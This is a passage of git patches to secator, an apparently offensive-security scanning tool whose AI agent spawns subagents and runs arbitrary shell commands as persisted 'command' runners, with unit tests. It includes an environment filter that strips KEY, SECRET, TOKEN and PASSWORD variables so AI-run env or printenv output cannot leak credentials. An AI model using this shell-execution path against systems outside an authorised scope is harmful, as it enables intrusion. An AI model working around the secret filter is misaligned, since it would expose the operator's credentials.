with + # no key set -> AuthenticationError before the subagent does anything. setdefault + # so an explicit LLM-supplied model/key still wins. + opts.setdefault("model", ctx.model) + if ctx.api_key: + opts.setdefault("api_key", ctx.api_key) + if ctx.api_base: + opts.setdefault("api_base", ctx.api_base) + # 1.b/1.c: structure the subagent's prompt and inject prior findings for its + # scope so it doesn't re-run work already done. + _objective = opts.get("prompt", "") + opts["prompt"] = build_subagent_prompt(_objective, targets, _gather_subagent_evidence(ctx, targets)) # defense in depth: a spawned runner is never dangerous (CLI --dangerous unaffected) opts["dangerous"] = False diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 1a0b2c4fd..cdbc87c28 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -405,6 +405,8 @@ def _run_loop(self) -> Generator: ctx = ActionContext( targets=self.inputs, model=self.model, + api_key=self.api_key, + api_base=self.api_base, encryptor=self.encryptor, dry_run=self.dry_run, verbose=self.verbose, diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 84cf0821f..ca5fac58a 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -557,6 +557,62 @@ def test_run_runner_preserves_existing_session_id(self, mock_build_hooks, mock_t _, kwargs = mock_task_cls.call_args self.assertEqual(kwargs.get('context', {}).get('session_id'), 'from-context') + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_structures_subagent_prompt(self, mock_build_hooks, mock_task_cls, _tpl): + mock_build_hooks.return_value = {'fake': ['hook']} + mock_runner = MagicMock(); mock_runner.id = 'r1'; mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]); mock_task_cls.return_value = mock_runner + ctx = ActionContext(targets=['10.0.0.1'], model='m', + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}) + with patch('secator.ai.actions._gather_subagent_evidence', return_value="- port 10.0.0.1:443"): + action = {'action': 'task', 'name': 'ai', 'targets': ['10.0.0.1'], + 'opts': {'prompt': 'Test auth on the API'}} + list(_run_runner(action, ctx, 'task')) + _, kwargs = mock_task_cls.call_args + prompt = kwargs.get('run_opts', {}).get('prompt', '') + self.assertIn('## Objective', prompt) + self.assertIn('Test auth on the API', prompt) + self.assertIn('- port 10.0.0.1:443', prompt) # evidence injected + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_subagent_inherits_parent_llm_config(self, mock_build_hooks, mock_task_cls, _tpl): + """A spawned subagent inherits the parent's resolved model/api_key/api_base so it + can actually run (else it falls back to CONFIG.default_model with no key).""" + mock_build_hooks.return_value = {'fake': ['hook']} + mock_runner = MagicMock(); mock_runner.id = 'r1'; mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]); mock_task_cls.return_value = mock_runner + ctx = ActionContext(targets=['10.0.0.1'], model='openrouter/anthropic/x', + api_key='PARENTKEY', api_base='https://base', + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}) + with patch('secator.ai.actions._gather_subagent_evidence', return_value=""): + action = {'action': 'task', 'name': 'ai', 'targets': ['10.0.0.1'], 'opts': {'prompt': 'do x'}} + list(_run_runner(action, ctx, 'task')) + ro = mock_task_cls.call_args[1].get('run_opts', {}) + self.assertEqual(ro.get('model'), 'openrouter/anthropic/x') + self.assertEqual(ro.get('api_key'), 'PARENTKEY') + self.assertEqual(ro.get('api_base'), 'https://base') + + @patch('secator.ai.actions.TemplateLoader') + @patch('secator.ai.actions.Task') + @patch('secator.ai.actions._build_hooks_from_context') + def test_run_runner_subagent_explicit_model_wins(self, mock_build_hooks, mock_task_cls, _tpl): + """An explicit LLM-supplied model on the subagent opts is preserved (setdefault).""" + mock_build_hooks.return_value = {'fake': ['hook']} + mock_runner = MagicMock(); mock_runner.id = 'r1'; mock_runner.reports_folder = None + mock_runner.__iter__.return_value = iter([]); mock_task_cls.return_value = mock_runner + ctx = ActionContext(targets=['t'], model='parent/model', + context={'workspace_id': 'ws1', 'drivers': ['mongodb']}) + with patch('secator.ai.actions._gather_subagent_evidence', return_value=""): + action = {'action': 'task', 'name': 'ai', 'targets': ['t'], + 'opts': {'prompt': 'x', 'model': 'explicit/model'}} + list(_run_runner(action, ctx, 'task')) + ro = mock_task_cls.call_args[1].get('run_opts', {}) + self.assertEqual(ro.get('model'), 'explicit/model') + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestSanitizeChildOpts(unittest.TestCase): @@ -1372,5 +1428,59 @@ def test_child_context_strips_parent_identity_keeps_session(self): self.assertNotIn('scan_id', child) +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestBuildSubagentPrompt(unittest.TestCase): + def test_structure_sections_and_objective(self): + from secator.ai.actions import build_subagent_prompt + p = build_subagent_prompt("Test auth on the API", ["10.0.0.1", "app.x.com"], "- Port 443 open") + self.assertIn("## Objective", p) + self.assertIn("Test auth on the API", p) # objective verbatim + self.assertIn("## Scope", p) + self.assertIn("10.0.0.1", p) + self.assertIn("app.x.com", p) + self.assertIn("## Already known", p) + self.assertIn("- Port 443 open", p) # evidence injected + self.assertIn("## Expected output", p) + + def test_empty_evidence_renders_none(self): + from secator.ai.actions import build_subagent_prompt + p = build_subagent_prompt("Do X", ["t.com"], "") + self.assertIn("(none", p.lower()) # explicit "none" marker + + +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestGatherSubagentEvidence(unittest.TestCase): + def test_queries_targets_and_formats(self): + from secator.ai.actions import _gather_subagent_evidence, ActionContext + mock_engine = MagicMock() + mock_engine.search.return_value = [ + {"_type": "port", "ip": "10.0.0.1", "port": 443}, + {"_type": "url", "url": "http://app.x.com/login"}, + ] + ctx = ActionContext(targets=[], model='m', context={'workspace_id': 'ws1'}) + with patch.object(ctx, 'get_query_engine', return_value=mock_engine): + out = _gather_subagent_evidence(ctx, ["10.0.0.1", "app.x.com"], limit=40) + # queried by an $or over the targets + q = mock_engine.search.call_args[0][0] + self.assertIn("$or", q) + # formatted a compact summary + self.assertIn("port", out) + self.assertIn("10.0.0.1", out) + self.assertIn("url", out) + + def test_no_targets_returns_empty(self): + from secator.ai.actions import _gather_subagent_evidence, ActionContext + ctx = ActionContext(targets=[], model='m', context={}) + self.assertEqual(_gather_subagent_evidence(ctx, [], limit=40), "") + + def test_search_error_returns_empty(self): + from secator.ai.actions import _gather_subagent_evidence, ActionContext + mock_engine = MagicMock() + mock_engine.search.side_effect = Exception("boom") + ctx = ActionContext(targets=[], model='m', context={'workspace_id': 'ws1'}) + with patch.object(ctx, 'get_query_engine', return_value=mock_engine): + self.assertEqual(_gather_subagent_evidence(ctx, ["t"], limit=40), "") + + if __name__ == '__main__': unittest.main() From 5a2d6c1d4bec4ea47c3989979e496bf0f9df3cee Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 5 Jul 2026 21:22:53 +0200 Subject: [PATCH 084/129] fix(ai): coerce query_workspace limit to int (str limit crashed the backend) (#1280) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Bug ``` 🟢Query({'_type': 'ip', 'host': 'cachyos.local'}) -> failed results (limit: 10) [ERR] ai TypeError: '>=' not supported between instances of 'int' and 'str' File ".../query/json.py", line 182, in _execute_search if limit and len(matched) >= limit: ``` The model sent `query_workspace`'s `limit` as a **string** (`"10"`); it reached the backend and broke the `>=` comparison. Same "model stringifies args" class as #1275, but `coerce_stringified_args` only handles object/array params — not scalar ints like `limit`. ## Fix Coerce `limit` to `int` in `_handle_query`; bad/None values fall back to the default (100). ## Tests Stringified `"10"` → `10` reaches the backend; a non-numeric limit falls back to 100. `test_ai_actions.py` 99 passed; the original crash reproduces as resolved. Targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 7 +++++++ tests/unit/test_ai_actions.py | 21 +++++++++++++++++++++ 2 files changed, 28 insertions(+) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index c2c1def39..1366529b7 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -811,7 +811,14 @@ def _handle_query(action: Dict, ctx: ActionContext) -> Generator: """ context = _get_result_context(action, ctx) query_filter = action.get("query", {}) + # The schema declares `limit` an integer, but some models send it as a string + # ("10"); a str limit reaches the backend and raises `'>=' not supported between + # int and str`. Coerce to int (bad/None values fall back to the default). limit = action.get("limit", 100) + try: + limit = int(limit) + except (TypeError, ValueError): + limit = 100 # The query_workspace tool schema declares `query` as an object, but some # models/providers serialize it as a JSON *string* (a known tool-calling diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index ca5fac58a..7e80ea6a4 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -424,6 +424,27 @@ def test_query_local_driver_exempt_from_workspace_guard(self): uuids = {r.get('_uuid') for r in results if isinstance(r, dict)} self.assertIn('live1', uuids) + def test_query_stringified_limit_coerced_to_int(self): + """A model-supplied string limit ('10') is coerced to int before the backend + (a str limit raises TypeError: '>=' not supported between int and str).""" + mock_engine = MagicMock() + mock_engine.backend.name = "mongodb" + mock_engine.search.return_value = [] + ctx = ActionContext(targets=['t'], model='m', context={'workspace_id': 'ws1'}) + with patch.object(ctx, 'get_query_engine', return_value=mock_engine): + list(_handle_query({'action': 'query', 'query': {'_type': 'ip'}, 'limit': '10'}, ctx)) + self.assertEqual(mock_engine.search.call_args.kwargs.get('limit'), 10) + + def test_query_bad_limit_falls_back_to_default(self): + """A non-numeric limit falls back to the default (100), not a crash.""" + mock_engine = MagicMock() + mock_engine.backend.name = "mongodb" + mock_engine.search.return_value = [] + ctx = ActionContext(targets=['t'], model='m', context={'workspace_id': 'ws1'}) + with patch.object(ctx, 'get_query_engine', return_value=mock_engine): + list(_handle_query({'action': 'query', 'query': {}, 'limit': 'notanumber'}, ctx)) + self.assertEqual(mock_engine.search.call_args.kwargs.get('limit'), 100) + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestRunRunner(unittest.TestCase): From 81e7c599a622b10af440bc876135f5c14e3a23ab Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 5 Jul 2026 22:46:20 +0200 Subject: [PATCH 085/129] feat(tasks): generic command task (run arbitrary shell command as a runner) --- secator/tasks/command.py | 30 ++++++++++++++++++++++ tests/unit/test_command_task.py | 44 +++++++++++++++++++++++++++++++++ 2 files changed, 74 insertions(+) create mode 100644 secator/tasks/command.py create mode 100644 tests/unit/test_command_task.py diff --git a/secator/tasks/command.py b/secator/tasks/command.py new file mode 100644 index 000000000..7b8e4c4f8 --- /dev/null +++ b/secator/tasks/command.py @@ -0,0 +1,30 @@ +from secator.decorators import task +from secator.definitions import STRING +from secator.runners import Command + + +@task() +class command(Command): + """Run an arbitrary shell command verbatim.""" + cmd = '' + shell = True + input_flag = None + input_types = [STRING] + output_types = [] + + def _build_cmd(self): + """Set the command to the raw input verbatim (no flag/opt append, no quoting).""" + self.cmd = self.inputs[0] if self.inputs else '' + self.cmd_options = {} + # Command.__init__ runs _build_cmd_input() BEFORE _build_cmd(), and it clobbers + # self.shell to (' | ' in self.cmd) — i.e. False for most commands. Restore the + # intended shell mode so &&, ;, redirects, $VAR, globbing are interpreted. + self.shell = True + + def is_installed(self): + """Arbitrary shell commands have no fixed binary to `which`/auto-install (the base + Command.is_installed() derives cmd_name from the class-level `cmd`, which is '' here). + Always report installed so the base yielder runs the input verbatim instead of trying + (and failing) to auto-install an empty command name. + """ + return True diff --git a/tests/unit/test_command_task.py b/tests/unit/test_command_task.py new file mode 100644 index 000000000..be3289acc --- /dev/null +++ b/tests/unit/test_command_task.py @@ -0,0 +1,44 @@ +import unittest + +from secator.runners import Command +from secator.tasks.command import command + + +class TestCommandTask(unittest.TestCase): + """The generic `command` task runs an arbitrary command line verbatim in shell mode.""" + + def test_runs_verbatim_and_captures_stdout(self): + """A trivial echo runs through the real Command yielder and reaches SUCCESS with stdout captured.""" + runner = command(inputs=["echo secator-pr3"], run_opts={"sync": True, "print_line": False, "print_item": False}) + runner.run() + self.assertEqual(runner.status, "SUCCESS") + self.assertIn("secator-pr3", runner.output) + self.assertEqual(runner.return_code, 0) + + def test_shell_metacharacters_are_interpreted(self): + """Shell operators (&&) must be interpreted, not passed as literal echo args. + + Under shell=False the whole string is shlex-split and `&&` becomes a literal echo + argument, so only the first echo runs and 'world' never appears. This proves the + task actually runs in shell mode end-to-end. + """ + opts = {"sync": True, "print_line": False, "print_item": False} + runner = command(inputs=["echo hello && echo world"], run_opts=opts) + runner.run() + self.assertEqual(runner.status, "SUCCESS") + self.assertIn("hello", runner.output) + self.assertIn("world", runner.output) + # Under shell=False the whole thing is one echo, so '&&' is echoed literally. + # Interpreted correctly, '&&' is an operator and never appears in stdout. + self.assertNotIn("&&", runner.output) + self.assertTrue(runner.shell) + + def test_empty_inputs_does_not_crash(self): + """With no inputs, _build_cmd must not crash (cmd stays empty rather than indexing inputs[0]).""" + runner = command(inputs=[], run_opts={"sync": True, "print_line": False, "print_item": False}) + runner._build_cmd() + self.assertEqual(runner.cmd, "") + + def test_is_a_command_subclass(self): + """Sanity check on the inheritance the rest of the PR relies on.""" + self.assertTrue(issubclass(command, Command)) From ccfef35f53b6d6b3df04f8c2876daef4246f0bd4 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 5 Jul 2026 23:01:41 +0200 Subject: [PATCH 086/129] =?UTF-8?q?feat(tasks):=20command.from=5Fresult=20?= =?UTF-8?q?=E2=80=94=20build=20a=20runner=20from=20an=20already-run=20comm?= =?UTF-8?q?and?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds a classmethod on `command` that imports a captured (command_line, output, return_code) result into a runner doc without executing anything: constructs the runner, then fires mark_started()/mark_completed() (the on_start/on_end hooks) to persist state the same way a live run would, while never calling run()/yielder() so no subprocess is ever spawned. This is the forward-looking seam for importing externally-run commands into Secator Cloud. Also fixes two bugs in the `command` task found in review: - input_types must be [] not [STRING]: a non-empty input_types makes the base _validate_inputs() autodetect_type()-filter inputs, stripping bare single-word command lines (e.g. "whoami" -> 'slug' -> dropped) -> empty cmd -> FAILURE. - from_result FAILURE path must add its synthetic Error with output=False, else the Error's ANSI repr is appended onto the caller's captured stdout. --- secator/tasks/command.py | 78 ++++++++++++++++++++++++++++++++- tests/unit/test_command_task.py | 68 ++++++++++++++++++++++++++++ 2 files changed, 144 insertions(+), 2 deletions(-) diff --git a/secator/tasks/command.py b/secator/tasks/command.py index 7b8e4c4f8..bdecc54ea 100644 --- a/secator/tasks/command.py +++ b/secator/tasks/command.py @@ -1,5 +1,8 @@ +from datetime import datetime, timezone +from time import time + from secator.decorators import task -from secator.definitions import STRING +from secator.output_types import Error from secator.runners import Command @@ -9,7 +12,14 @@ class command(Command): cmd = '' shell = True input_flag = None - input_types = [STRING] + # NOTE: input_types MUST be empty. A non-empty input_types makes the base + # _validate_inputs() (secator/runners/_base.py) run autodetect_type() on each input and + # DROP any whose detected type isn't in the list. A command line like "whoami" is + # autodetected as 'slug' (not 'str'), so [STRING] would silently strip most bare + # single-word commands -> empty inputs -> empty cmd -> FAILURE. An empty input_types + # short-circuits the type filter entirely, which is correct: a command line is not a + # typed scan target. + input_types = [] output_types = [] def _build_cmd(self): @@ -28,3 +38,67 @@ def is_installed(self): (and failing) to auto-install an empty command name. """ return True + + @classmethod + def from_result(cls, command_line, output, return_code, *, start_time=None, end_time=None, context=None, hooks=None): + """Build a `command` runner from an ALREADY-RUN command's result, without executing it. + + This is the "import" path (as opposed to the "execute" path exercised by + `run()`/`yielder()`): it never spawns a subprocess, it just populates the runner's + state fields from a result that was captured elsewhere, then fires the same + `on_start`/`on_end` hooks a normal run would fire so the imported command persists + like any other runner (e.g. via an `update_runner` hook passed in `hooks`). This is + the forward-looking seam for importing externally-run commands into Secator Cloud. + + Args: + command_line (str): The command line that was run, verbatim. It becomes `self.cmd` + via the constructor -> `_build_cmd()`, same as the live-execution path (with + `input_types = []`, inputs are never type-filtered, so this holds for every + command line, including bare single-word ones like "whoami"). + output (str): Captured stdout of the already-run command. + return_code (int): Process return code of the already-run command. 0 means + success; anything else marks the runner FAILURE (an `Error` result is added + so `self_errors`, which `status` derives from, is non-empty). + start_time (datetime, optional): When the command started (tz-aware). Defaults + to now if omitted. + end_time (datetime, optional): When the command finished (tz-aware). Defaults to + now if omitted. + context (dict, optional): Runner context (workspace, etc), same as the live path. + hooks (dict, optional): Runner hooks (e.g. `on_end: [update_runner]`), same as the + live path -- this is how the imported result gets persisted. + + Returns: + command: the populated runner, in SUCCESS or FAILURE status. `yielder()` / + `run()` are never called, so no subprocess is ever spawned. + """ + runner = cls(inputs=[command_line], context=context or {}, hooks=hooks or {}) + + # mark_started() fires the on_start hook. It also stamps start_time = now(), so + # apply the caller-supplied start_time right after (mark_started() unconditionally + # overwrites it, there's no way to seed it beforehand). + runner.mark_started() + runner.start_time = start_time or datetime.fromtimestamp(time(), timezone.utc) + + # Populate the captured result. + runner.output = output + runner.return_code = return_code + if return_code != 0: + # `status` derives FAILURE from `self_errors` being non-empty (see + # secator/runners/_base.py). add_result() stamps `_source` to this runner's + # unique_name, which is what `_owns_error()` matches on for a task runner. + # output=False is REQUIRED: the default (output=True) would do + # `self.output += repr(item)` (_base.py), appending this synthetic Error's + # ANSI-colored repr onto the caller's captured stdout and corrupting it. + runner.add_result( + Error(message=f'Command exited with return code {return_code}'), + print=False, + output=False, + ) + + # mark_completed() fires the on_end hook (the persistence path). Same caveat as + # start_time: it unconditionally stamps end_time = now(), so apply the + # caller-supplied end_time right after. + runner.mark_completed() + runner.end_time = end_time or datetime.fromtimestamp(time(), timezone.utc) + + return runner diff --git a/tests/unit/test_command_task.py b/tests/unit/test_command_task.py index be3289acc..50d020afa 100644 --- a/tests/unit/test_command_task.py +++ b/tests/unit/test_command_task.py @@ -1,4 +1,5 @@ import unittest +from unittest import mock from secator.runners import Command from secator.tasks.command import command @@ -33,6 +34,19 @@ def test_shell_metacharacters_are_interpreted(self): self.assertNotIn("&&", runner.output) self.assertTrue(runner.shell) + def test_bare_single_word_command_is_not_stripped(self): + """A bare single-word command (no space) must run, not get type-filtered away. + + `input_types` must be [] — a non-empty input_types makes the base _validate_inputs() + run autodetect_type() and DROP inputs whose detected type isn't listed. "true" is + autodetected as 'slug', so [STRING] would strip it -> empty inputs -> empty cmd -> + FAILURE. This is the exact shape that broke most ordinary commands. + """ + runner = command(inputs=["true"], run_opts={"sync": True, "print_line": False, "print_item": False}) + runner.run() + self.assertEqual(runner.cmd, "true") + self.assertEqual(runner.status, "SUCCESS") + def test_empty_inputs_does_not_crash(self): """With no inputs, _build_cmd must not crash (cmd stays empty rather than indexing inputs[0]).""" runner = command(inputs=[], run_opts={"sync": True, "print_line": False, "print_item": False}) @@ -42,3 +56,57 @@ def test_empty_inputs_does_not_crash(self): def test_is_a_command_subclass(self): """Sanity check on the inheritance the rest of the PR relies on.""" self.assertTrue(issubclass(command, Command)) + + +class TestCommandFromResult(unittest.TestCase): + """`command.from_result` imports an already-run command's result into a runner doc, + without executing anything (the forward-looking seam for importing externally-run + commands into Secator Cloud). + """ + + @mock.patch("subprocess.Popen") + def test_from_result_populates_runner_without_executing(self, mock_popen): + """A successful imported result populates output/status and never spawns a subprocess.""" + runner = command.from_result("nmap -p80 x", "PORT 80 open", 0) + + self.assertEqual(runner.output, "PORT 80 open") + self.assertEqual(runner.status, "SUCCESS") + mock_popen.assert_not_called() + + data = runner.toDict() + self.assertEqual(data["cmd"], "nmap -p80 x") + self.assertEqual(data["output"], "PORT 80 open") + self.assertEqual(data["status"], "SUCCESS") + self.assertEqual(data["return_code"], 0) + + @mock.patch("subprocess.Popen") + def test_from_result_bare_command_success(self, mock_popen): + """A bare single-word command imports as SUCCESS with its cmd + output intact. + + Regression for the input-type-stripping bug: before the fix, "whoami" was + autodetected as 'slug' and dropped, so cmd came back '' and status FAILURE (the + spurious empty-input Error). The passed-in output is a fixed literal so the + assertion is deterministic (not machine-dependent). + """ + runner = command.from_result("whoami", "someoutput", 0) + + self.assertEqual(runner.status, "SUCCESS") + self.assertEqual(runner.cmd, "whoami") + self.assertEqual(runner.output, "someoutput") + mock_popen.assert_not_called() + + @mock.patch("subprocess.Popen") + def test_from_result_failure_preserves_output_verbatim(self, mock_popen): + """A non-zero return code yields FAILURE, and the caller's output is preserved verbatim. + + Regression for the output-corruption bug: the synthetic Error added on the FAILURE + path must NOT be appended onto self.output (add_result must be called output=False). + """ + runner = command.from_result("somecmd", "the real stdout", 1) + + self.assertEqual(runner.status, "FAILURE") + self.assertEqual(runner.toDict()["status"], "FAILURE") + # Exact match — no ANSI Error repr appended. + self.assertEqual(runner.output, "the real stdout") + self.assertEqual(runner.toDict()["output"], "the real stdout") + mock_popen.assert_not_called() From 4920cdef59c60c1e9abb623e1d6fe26368cadb46 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sun, 5 Jul 2026 23:40:03 +0200 Subject: [PATCH 087/129] feat(ai): run AI shell commands as command runners (history + parenting) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rewire the AI task's _handle_shell to execute shell commands as the concrete `command` task instead of a raw subprocess.run, so each command persists as a runner doc (via the driver hooks) and appears in history, parented under the conversation by context.session_id — like _run_runner does for AI-spawned tasks/workflows. Instantiate secator.tasks.command.command directly (NOT the generic Task wrapper): the wrapper's sync path runs a throwaway inner instance inside secator.celery.run_command and returns only structured results, leaving the outer wrapper's .output empty. A direct instance keeps captured stdout on .output while still firing on_init/on_start/on_end persistence hooks. Imported function-locally to avoid a circular import that would drop the `ai` task from discovery; run_opts are spread (command takes **run_opts, so run_opts= would nest and drop them). 60s cap via runner.max_timeout; output truncated by the existing _MAX_SHELL_OUTPUT_CHARS head+tail cap. Extract the Task-level hooks sub-dict before instantiating: _build_child_hooks_ or_denial returns a CLASS-keyed dict ({Scan,Workflow,Task}). The generic Task wrapper forwards self._hooks.get(Task, {}) to its command signature, but direct instantiation bypasses that, so register_hooks (which resolves via hooks.get(self.__class__)/hooks.get(hook_name)) finds nothing — the mongodb persistence hooks never fire and no runner doc is persisted (command runs SUCCESS but leaves no doc). `hooks = hooks.get(Task, {})` fixes it; verified against live Mongo (doc persists with name/cmd/status/output/session_id). Preserve env sanitization: add an `env` run_opt to Command.yielder (secator/runners/command.py: `env = self.run_opts.get('env', os.environ)`, backward-compatible — unchanged when unset, and an explicit empty env={} is honored rather than falling back to the full process env) and pass _sanitized_env() from _handle_shell so an AI-run env/printenv can't dump the LLM key + cloud creds into output that flows back to the LLM and Mongo. Repoint the 6 subprocess.run patch sites in test_ai_loop.py to patch secator.tasks.command.command at source (shared _fake_command_runner helper), since actions.py no longer imports subprocess. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 118 ++++++++++++++++++++++++---- secator/runners/command.py | 9 ++- tests/unit/test_ai_actions.py | 134 ++++++++++++++++++++++++-------- tests/unit/test_ai_loop.py | 39 +++++++--- tests/unit/test_command_task.py | 47 +++++++++++ 5 files changed, 288 insertions(+), 59 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 1366529b7..0cb9b54a8 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -1,7 +1,6 @@ """Action handlers for AI task.""" import json import os -import subprocess import threading import uuid from concurrent.futures import ThreadPoolExecutor, as_completed @@ -68,7 +67,12 @@ def get_query_engine(self): def _sanitized_env() -> dict: - """Return a copy of os.environ with sensitive variables removed.""" + """Return a copy of os.environ with sensitive variables removed. + + Passed as the `env` run_opt to the AI shell `command` runner so an AI-run + `env`/`printenv` can't dump the LLM key + cloud creds into output that flows + back to the LLM and is persisted to Mongo. + """ return {k: v for k, v in os.environ.items() if not any(k.startswith(p) for p in SENSITIVE_ENV_PREFIXES) and "KEY" not in k and "SECRET" not in k and "TOKEN" not in k and "PASSWORD" not in k} @@ -476,6 +480,11 @@ def _is_heavy_runner(runner_type: str, name: str, opts: dict = None) -> bool: # so the model still sees the start AND the final lines (often the result/error). _MAX_SHELL_OUTPUT_CHARS = 4000 +# Cap on ad-hoc AI shell commands (dispatched as the `command` task). Applied as an +# instance attribute post-construction (see _handle_shell) since max_timeout is not a +# run_opts-settable field. +_SHELL_TIMEOUT = 60 + def _guard_subagent_fanout(ctx: "ActionContext", context: Dict) -> Optional["Warning"]: """H4: cap AI-subagent recursion depth + per-turn fan-out. @@ -742,7 +751,14 @@ def _handle_workflow(action: Dict, ctx: ActionContext) -> Generator: def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: - """Execute a shell command. + """Execute a shell command as a `command` task runner. + + Dispatches the built-in `command` task (a Command subclass that runs an arbitrary + shell command line verbatim) through the normal runner lifecycle, instead of a raw + `subprocess.run`. This makes the shell invocation persist as a runner doc (via the + driver hooks rebuilt from `context['drivers']`) and appear in history, parented + under the conversation via `context['session_id']` — exactly like `_run_runner` + does for AI-spawned tasks/workflows. Args: action: Action dict with command @@ -758,19 +774,93 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: yield Info(message=f"[DRY RUN] Would run: {command}", _context=context) return - yield Ai(content=command, ai_type="shell", _context=context) - try: - result = subprocess.run( - command, - shell=True, - capture_output=True, - text=True, - timeout=60, - env=_sanitized_env() + context["task_chunk_id"] = str(uuid.uuid4()) + if ctx.subagent: + context["subagent"] = ctx.context.get("subagent", True) + + # M2: don't silently run a persistence-less child when the parent has drivers + # (same guard _run_runner uses for spawned tasks/workflows). + hooks, denial = _build_child_hooks_or_denial(context) + if denial is not None: + yield denial + return + + # _build_child_hooks_or_denial returns a CLASS-keyed dict ({Scan:{}, Workflow:{}, + # Task:{on_init:[...], on_end:[...], ...}}). The generic Task wrapper forwards + # self._hooks.get(Task, {}) down to its command signature, but we bypass the + # wrapper with direct `command(...)` instantiation, so we must extract the + # Task-level (name-keyed) sub-dict ourselves. Without this, register_hooks + # resolves hooks via hooks.get(command)/hooks.get('on_init') — neither key exists + # in a class-keyed dict — so the mongodb update_runner/on_build hooks never fire + # and the runner doc is silently never persisted (command runs SUCCESS, no doc). + hooks = hooks.get(Task, {}) + + # Run opts mirroring _run_runner's wiring: quiet unless the caller wants + # console chatter, reports enabled (findings flow through the normal + # pipeline), never dangerous (defense in depth). `env` is the sanitized + # process env so an AI-run `env`/`printenv` can't leak the LLM key / cloud + # creds into output that reaches the LLM + Mongo (honored via the `env` + # run_opt added to Command.yielder). + run_opts = { + "print_item": not ctx.silent, + "print_line": ctx.verbose and not ctx.silent, + "print_cmd": False, + "print_progress": False, + "print_reports_message": False, + "enable_reports": True, + "exporters": [], + "sync": ctx.sync, + "dangerous": False, + "env": _sanitized_env(), + } + + # Instantiate the concrete `command` task directly (NOT the generic Task + # wrapper). The wrapper's sync path runs a throwaway inner instance inside + # secator.celery.run_command and returns only the structured results, so the + # outer wrapper's `.output` stays empty. A direct instance runs the command + # in-process and keeps its captured stdout on `.output`, while still firing + # the on_init/on_start/on_end driver hooks so the runner doc persists (with + # output/status/session_id) parented under the conversation. + # + # NOTE: `command` (a Command subclass) takes **run_opts, not a `run_opts=` + # kwarg — passing `run_opts=` would nest it and silently drop `env` (and every + # other opt). Spread it, keeping hooks/context as their own kwargs (both are + # popped by Command.__init__). + # + # Imported locally (not at module top): a top-level `from secator.tasks...` + # forces secator.tasks/__init__ to run discover_tasks() while secator.ai.actions + # is still being imported, which drops the `ai` task from discovery (circular + # import). The function-level import defers it to call time, after all modules + # are loaded. + from secator.tasks.command import command as CommandTask + runner = CommandTask([command], hooks=hooks, context=context, **run_opts) + + # 60s cap on ad-hoc AI shell commands. max_timeout is NOT run_opts-settable + # (Command.__init__ resolves it from CONFIG.tasks.overrides); setting the + # instance attribute here is honored by get_max_timeout(). + runner.max_timeout = _SHELL_TIMEOUT + + # Emit the command Ai now that the runner exists: its on_init hook has + # stamped the runner id into context, so the UI can link this item to the + # persisted runner doc (mirrors _run_runner:688-699). + yield Ai( + content=command, + ai_type="shell", + extra_data={ + "runner_id": context.get("task_id", "") or runner.id, + "runner_type": "task", + }, + _context=context, ) - output = result.stdout or result.stderr or "(no output)" - output = _truncate(output, _MAX_SHELL_OUTPUT_CHARS) # M1: cap so it can't blow up history + + # Run to completion in-process — this fires the persist hooks (on_start/ + # on_end) exactly like a dispatched task/workflow. Do NOT `yield from + # runner`: the command's raw stdout lines are not surfaced as separate + # transcript items — the single shell_output below is the contract. + runner.run() + + output = _truncate(runner.output or "(no output)", _MAX_SHELL_OUTPUT_CHARS) # M1: cap so it can't blow up history yield Ai(content=output, ai_type="shell_output", _context=context) except Exception as e: diff --git a/secator/runners/command.py b/secator/runners/command.py index 535405afa..cb62ca352 100644 --- a/secator/runners/command.py +++ b/secator/runners/command.py @@ -538,8 +538,13 @@ def yielder(self): self.cwd = f'{self.reports_folder}/.outputs/{self.fqn}' os.makedirs(self.cwd, exist_ok=True) - # Run the command using subprocess - env = os.environ + # Run the command using subprocess. A caller may pass a sanitized/custom env + # via the `env` run_opt (e.g. the AI shell handler strips LLM/cloud secrets so + # an AI-run `env`/`printenv` can't dump them). Defaults to the process env when + # the opt is absent (existing behavior unchanged). Uses `.get(key, default)` + # (not `or`) so an explicit empty `env={}` — a deliberate empty environment — + # is honored rather than silently falling back to the full process env. + env = self.run_opts.get('env', os.environ) self.process = subprocess.Popen( command, stdin=subprocess.PIPE if 